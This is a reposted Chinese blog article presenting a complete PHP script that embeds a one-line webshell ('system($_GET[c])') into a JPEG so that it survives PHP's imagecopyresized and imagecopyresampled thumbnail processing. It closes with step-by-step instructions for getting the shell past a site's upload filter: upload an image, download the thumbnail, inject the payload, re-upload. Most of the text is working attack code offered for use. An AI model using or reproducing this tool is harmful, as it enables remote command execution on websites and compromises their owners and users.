突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG相关的知识,希望对你有一定的参考价值。

之前有人发布了 利用PNG 图片上述压缩函数的方法 原理利用 
PNG的结构IDAT chunks填充一句话webshell,并进行一套取模运算  详见: 
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ 

但是受限于  图像的尺寸 必须320×320 且必须是PNG格式 



那JPG怎么办 

神奇的老外 提出了列方法 


<?php 
        /* 

        The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations 
        caused by PHP functions imagecopyresized() and imagecopyresampled(). 
        It is necessary that the size and quality of the initial image are the same as those of the processed 
        image. 

        1) Upload an arbitrary image via secured files upload script 
        2) Save the processed image and launch: 
        php jpg_payload.php <jpg_name.jpg> 

        In case of successful injection you will get a specially crafted image, which should be uploaded again. 

        Since the most straightforward injection method is used, the following problems can occur: 
        1) After the second processing the injected data may become partially corrupted.
        2) The jpg_payload.php script outputs "Something‘s wrong". 
        If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another 
        initial image. 

        Sergey Bobrov @Black2Fan. 

        See also: 
        https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ 

        */ 

        $miniPayload = ‘<?=system($_GET[c]);?>‘; 

        if(!extension_loaded(‘gd‘) || !function_exists(‘imagecreatefromjpeg‘)) { 
        die(‘php-gd is not installed‘); 
        } 
       
        if(!isset($argv[1])) { 
                die(‘php jpg_payload.php <jpg_name.jpg>‘); 
        } 

        set_error_handler("custom_error_handler"); 

        for($pad = 0; $pad < 1024; $pad++) { 
                $nullbytePayloadSize = $pad; 
                $dis = new DataInputStream($argv[1]); 
                $outStream = file_get_contents($argv[1]); 
                $extraBytes = 0; 
                $correctImage = TRUE; 

                if($dis->readShort() != 0xFFD8) { 
                        die(‘Incorrect SOI marker‘); 
                } 

                while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { 
                        $marker = $dis->readByte(); 
                        $size = $dis->readShort() - 2; 
                        $dis->skip($size); 
                        if($marker === 0xDA) { 
                                $startPos = $dis->seek(); 
                                $outStreamTmp = 
                                        substr($outStream, 0, $startPos) . 
                                        $miniPayload . 
                                        str_repeat("\0",$nullbytePayloadSize) . 
                                        substr($outStream, $startPos); 
                                checkImage(‘_‘.$argv[1], $outStreamTmp, TRUE); 
                                if($extraBytes !== 0) { 
                                        while((!$dis->eof())) { 
                                                if($dis->readByte() === 0xFF) { 
                                                        if($dis->readByte !== 0x00) { 
                                                                break; 
                                                        } 
                                                } 
                                        } 
                                        $stopPos = $dis->seek() - 2; 
                                        $imageStreamSize = $stopPos - $startPos; 
                                        $outStream = 
                                                substr($outStream, 0, $startPos) . 
                                                $miniPayload . 
                                                substr( 
                                                        str_repeat("\0",$nullbytePayloadSize). 
                                                                substr($outStream, $startPos, $imageStreamSize), 
                                                        0, 
                                                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                                                substr($outStream, $stopPos); 
                                } elseif($correctImage) { 
                                        $outStream = $outStreamTmp; 
                                } else { 
                                        break; 
                                } 
                                if(checkImage(‘payload_‘.$argv[1], $outStream)) { 
                                        die(‘Success!‘); 
                                } else { 
                                        break; 
                                } 
                        } 
                } 
        } 
        unlink(‘payload_‘.$argv[1]); 
        die(‘Something\‘s wrong‘); 

        function checkImage($filename, $data, $unlink = FALSE) { 
                global $correctImage; 
                file_put_contents($filename, $data); 
                $correctImage = TRUE; 
                imagecreatefromjpeg($filename); 
                if($unlink) 
                        unlink($filename); 
                return $correctImage; 
        } 

        function custom_error_handler($errno, $errstr, $errfile, $errline) { 
                global $extraBytes, $correctImage; 
                $correctImage = FALSE; 
                if(preg_match(‘/(\d+) extraneous bytes before marker/‘, $errstr, $m)) { 
                        if(isset($m[1])) { 
                                $extraBytes = (int)$m[1]; 
                        } 
                } 
        } 

        class DataInputStream { 
                private $binData; 
                private $order; 
                private $size; 

                public function __construct($filename, $order = false, $fromString = false) { 
                        $this->binData = ‘‘; 
                        $this->order = $order; 
                        if(!$fromString) { 
                                if(!file_exists($filename) || !is_file($filename)) 
                                        die(‘File not exists [‘.$filename.‘]‘); 
                                $this->binData = file_get_contents($filename); 
                        } else { 
                                $this->binData = $filename; 
                        } 
                        $this->size = strlen($this->binData); 
                } 

                public function seek() { 
                        return ($this->size - strlen($this->binData)); 
                } 

                public function skip($skip) { 
                        $this->binData = substr($this->binData, $skip); 
                } 

                public function readByte() { 
                        if($this->eof()) { 
                                die(‘End Of File‘); 
                        } 
                        $byte = substr($this->binData, 0, 1); 
                        $this->binData = substr($this->binData, 1); 
                        return ord($byte); 
                } 

                public function readShort() { 
                        if(strlen($this->binData) < 2) { 
                                die(‘End Of File‘); 
                        } 
                        $short = substr($this->binData, 0, 2); 
                        $this->binData = substr($this->binData, 2); 
                        if($this->order) { 
                                $short = (ord($short[1]) << 8) + ord($short[0]); 
                        } else { 
                                $short = (ord($short[0]) << 8) + ord($short[1]); 
                        } 
                        return $short; 
                } 

                public function eof() { 
                        return !$this->binData||(strlen($this->binData) === 0); 
                } 
        } 
?>


http://pastebin.com/3cznqi8P 
具体方法 时: 
1.  你先要 上传你想要构造的图片马原片 
2.  等网站生成完缩略图下载下来 
3.  用上述脚本 生成带图片的 木马 
4.  重新上传到网站     结束 

这个也要看运气成分 


drops 里面园长MM说喜欢看我的图像,我会告诉你这图像是可以的。

以上是关于突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG的主要内容,如果未能解决你的问题,请参考以下文章

PHP imagecopyresampled + 如何获得最佳结果

PHP GD imagecopyresampled() 并将其水平翻转

php imagecopyresampled 质量差

php imagecopyresampled - 保存后图像为空(全黑)

在 PHP imagecopyresampled 中裁剪图像 - 挤压而不是裁剪

使用PHP的GDlib imagecopyresampled时可以保留PNG图像透明度吗?